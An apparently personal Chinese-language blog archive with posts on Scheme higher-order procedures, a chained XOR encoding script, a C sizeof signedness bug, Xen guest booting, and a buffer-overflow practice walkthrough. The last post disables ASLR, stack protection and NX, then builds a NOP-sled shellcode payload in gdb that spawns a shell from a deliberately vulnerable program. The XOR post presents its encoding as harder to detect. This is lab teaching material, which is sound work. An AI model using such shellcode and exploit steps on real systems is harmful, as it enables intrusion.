Where Am I ?

星期一, 10月 07, 2013

初探Higher Order Procedure（一）

若一支程序會去修改一另支程序，來達成某種目的，則此程序可稱之為Higher Order Procedure。此外，此程序的參數要是程序。接下來的說明就用Scheme語言來表示。

現在舉一個例子，我們需要寫一支程序，能把某區間的所有整數相加後回傳，Scheme程序如下：

(define (sum-integer a b)
(if (> a b)
0
(+ a (sum-integer (+ a 1) b)))

使用此程序能把從a到b間的整數相加。而今天有另外一件事，是想要相加某區段立方體體積，則可以用下列程序表示：

(define (cube x) (* x x x))
(define (sum-cube a b)
(if (> a b)
0
(+ (cube a) (sum-cube (+ a 1) b)))

可以觀察到sum-integer及sum-cube都有很大程度的相似，這時就可以用Higher Order Procedure來簡化。未來有各種類似工作，都可以此輕鬆達到相同目的：

(define (sum term a next b)
(if (> a b)
0
(+ (term a) (sum term (next a) next b))))

term是用來產生每一個單位的程序。next則是接後現在的值，產生下一個要處理的值。a及b不消分說，就是開始以及結束了。使用此Higher Order Procedure後，我們可以改寫原本的sum-integer & sum-cube如下：

(define (identity x) x)
(define (sum-integer a b)
(sum identity a 1+ b))
(define (cube x) (* x x x))
(define (sum-cube a b)
(sum cube a 1+ b))

多有用的一種程序。能把程序寫的簡單又明瞭，除了Scheme以外，我想用其他現在流行的程式語言(C, C++, Java, C#)要達到相同效果，無非是邯鄲學步吧！光是要能直接用程序作為參數，Java就需要借用Command Pattern才行......

星期日, 6月 16, 2013

Chained XOR Encoding

通常以單一的XOR作為Key，很容易就被發現了。

因此發展另一概念：
1. 以Content的頭或尾作為第一把XOR Key
2. 用這把Key去XOR，產生的OUTPUT作為下一個Byte的Key

PoC Python Code

a = [0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8]
key = a[-1]
e = []

for i in range(len(a)):
out = a[i] ^ key
e.append(out)
key = out

print "Encoded Bytes: ", e

d = []
for i in range(len(e)-1, 0, -1):
d.append(e[i] ^ e[i-1])
d.append(e[0] ^ d[0])
d.reverse()
print "Decoded Bytes: ", d

星期五, 7月 27, 2012

sizeof(bug)

關於C語言中的sizeof，如果不小心可能會產生蟲兒。

來看一下程式碼及執行結果：

MaCarrick:mists-of-time cacaegg$ cat subtle-bug.c
#include
int array[] = {23, 34, 12, 17, 204, 99, 16};
#define TOTAL_ELEMENTS (sizeof(array) / sizeof(array[0]))

main(){
int d = -1, x;

if(d <= TOTAL_ELEMENTS-2){
printf("T\n");
}else{
printf("F\n");
}
}
MaCarrick:mists-of-time cacaegg$ gcc subtle-bug.c
MaCarrick:mists-of-time cacaegg$ ./a.out
F

為什麼d明明是-1卻印出F呢？

其實是因為sizeof回傳的形態皆為unsinged。

加上當進行signed int d與unsigned int比較時，signed int會被轉成unsigned int。

所以d在是-1的情況下，其signed bit為1，當其轉為unsinged時，signed bit就成為most significant bit，使得d轉為極大的數了。

修正方法只要加上型態轉換即可：

if(d <= (int) TOTAL_ELEMENTS - 2)

星期四, 1月 05, 2012

Booting Kernel inside the Xen Paravirt Dom U

記錄一下
先create image，然後將Dom 0的

#xen-create-image --hostname=squeeze-1 --size=8Gb --dist=squeeze --memory=256M --dhcp
....
#mount -o loop=/dev/loop2 /home/xen/domains/squeeze-1/disk.img /mnt/
#cd /mnt/boot
#cp /boot/vmlinuz-2.6.26-1-xen-686 ./
#cp /boot/initrd.img-2.6.26-1-xen-686 ./
#mkdir grub
#cd grub/
#cp /boot/grub/* ./
#vim device.map
#vim menu.lst
# cat device.map
(hd0) /dev/sda
## cat menu.lst
...
...

title Debian GNU/Linux, kernel 2.6.26-1-xen-686
root (hd0)
kernel /boot/vmlinuz-2.6.26-1-xen-686 root=/dev/sda ro quiet
initrd /boot/initrd.img-2.6.26-1-xen-686

title Debian GNU/Linux, kernel 2.6.26-1-xen-686 (single-user mode)
root (hd0)
kernel /boot/vmlinuz-2.6.26-1-xen-686 root=/dev/sda ro single
initrd /boot/initrd.img-2.6.26-1-xen-686

最後就是/etc/xen/squeeze-1.cft中的設定，要指定kernel位置以及root fs的位置

#
# Configuration file for the Xen instance squeeze-1, created
# by xen-tools 3.9 on Thu Jan 5 17:35:59 2012.
#

#
# Kernel + memory size
#
kernel = '/boot/vmlinuz-2.6.26-1-xen-686'
ramdisk = '/boot/initrd.img-2.6.26-1-xen-686'
memory = '256'

#
# Disk device(s).
#
root = '/dev/sda ro'
disk = [
'file:/home/xen/domains/squeeze-1/swap.img,sda1,w',
'file:/home/xen/domains/squeeze-1/disk.img,sda,w',
]

指定disk.img export 到/dev/sda，然後再指定root是/dev/sda

星期四, 11月 03, 2011

Pratice Buffer Overflow on Ubuntu 10.10

首先準備有漏洞的Buffer Overflow程式

csep@ubuntu:~/src$ cat samp1.c
#include
#include

int main(int argc, char** argv){
char buffer[500];
strcpy(buffer, argv[1]);
return 0;
}

為了能夠順利練習，需要先關閉Stack Guard、Stack Space Randomization以及Non Executable Stack
1. 關閉Stack Space Randomization

root@ubuntu:~# echo 0 > /proc/sys/kernel/randomize_va_space
root@ubuntu:~# cat /proc/sys/kernel/randomize_va_space
0

2. 關閉Stack Guard，在gcc compile時加上參數

gcc -g -o samp1 samp1.c -fno-stack-protector

3. 關閉Non Executable Stack，需要額外把NX bit關掉

user@ubuntu:~/src$ sudo apt-get install execstack
...
user@ubuntu:~/src$ execstack -s samp1

4. 執行GDB開始Buffer Overflow

csep@ubuntu:~/src$ gdb -q samp1
Reading symbols from /home/csep/src/samp1...done.
(gdb) run `python -c 'print "\x41"*500'`Starting program: /home/csep/src/samp1 `python -c 'print "\x41"*500'`

Program exited normally.
(gdb) run `python -c 'print "\x41"*520'`
Starting program: /home/csep/src/samp1 `python -c 'print "\x41"*520'`

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) run `python -c 'print "\x41"*512'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/csep/src/samp1 `python -c 'print "\x41"*512'`

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) run `python -c 'print "\x41"*508'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/csep/src/samp1 `python -c 'print "\x41"*508'`

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) run `python -c 'print "\x41"*504'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/csep/src/samp1 `python -c 'print "\x41"*504'`

Program received signal SIGILL, Illegal instruction.
0xbffff67a in ?? ()
(gdb) run `python -c 'print "\x41"*504'`

可以看到長度約在504之後會寫到EIP，接著看ESP在大概在哪。

(gdb) list
1 #include
2 #include
3
4 int main(int argc, char** argv){
5 char buffer[500];
6 strcpy(buffer, argv[1]); // Vulnerable Function
7 return 0;
8 }
(gdb) b 6
Breakpoint 1 at 0x80483cd: file samp1.c, line 6.
(gdb) run `python -c 'print "\x41"*508'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/csep/src/samp1 `python -c 'print "\x41"*508'`

Breakpoint 1, main (argc=2, argv=0xbffff604) at samp1.c:6
6 strcpy(buffer, argv[1]); // Vulnerable Function
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) i r esp
esp 0xbffff560 0xbffff560
(gdb) p /x 0xbffff560 - 300
$3 = 0xbffff434

從ESP往回算約300，就是要覆寫的ret address。
接著就準備shell code，參考連結。

csep@ubuntu:~/src$ ./sc-gen sh
Shellcode lenght: 54
\x31\xc0\x83\xec\x01\x88\x04\x24
\x68\x74\x72\x69\x62\x68\x2e\x64
\x69\x73\x68\x6e\x2f\x73\x68\x66
\x68\x62\x69\x83\xec\x01\xc6\x04
\x24\x2f\x89\xe6\x50\x56\xb0\x0b
\x89\xf3\x89\xe1\x31\xd2\xcd\x80
\xb0\x01\x31\xdb\xcd\x80
csep@ubuntu:~/src$ for line in `./sc-gen sh | grep "x"`; do echo -n $line; done\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x74\x72\x69\x62\x68\x2e\x64\x69\x73\x68\x6e\x2f\x73\x68\x66\x68\x62\x69\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80

大致上準備好了，可以Buffer Overflow了。要送出的參數長這樣
[NOP-------] [shell Code] [return Address----]
^--------------------------------------'
只要return address位於NOP中，就可以順利執行Shell Code了。

(gdb) run `python -c 'print "\x90"*302+"\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x74\x72\x69\x62\x68\x2e\x64\x69\x73\x68\x6e\x2f\x73\x68\x66\x68\x62\x69\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80"+"\xc4\xf3\xff\xbf"*38'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/csep/src/samp1 `python -c 'print "\x90"*302+"\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x74\x72\x69\x62\x68\x2e\x64\x69\x73\x68\x6e\x2f\x73\x68\x66\x68\x62\x69\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80"+"\xc4\xf3\xff\xbf"*38'`

Breakpoint 1, main (argc=2, argv=0xbffff604) at samp1.c:6
6 strcpy(buffer, argv[1]); // Vulnerable Function
(gdb) c
Continuing.
process 13123 is executing new program: /bin/bash
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.
To run a command as administrator (user "root"), use "sudo ".
See "man sudo_root" for details.

csep@ubuntu:/home/csep/src$

Boom！拿到Shell了。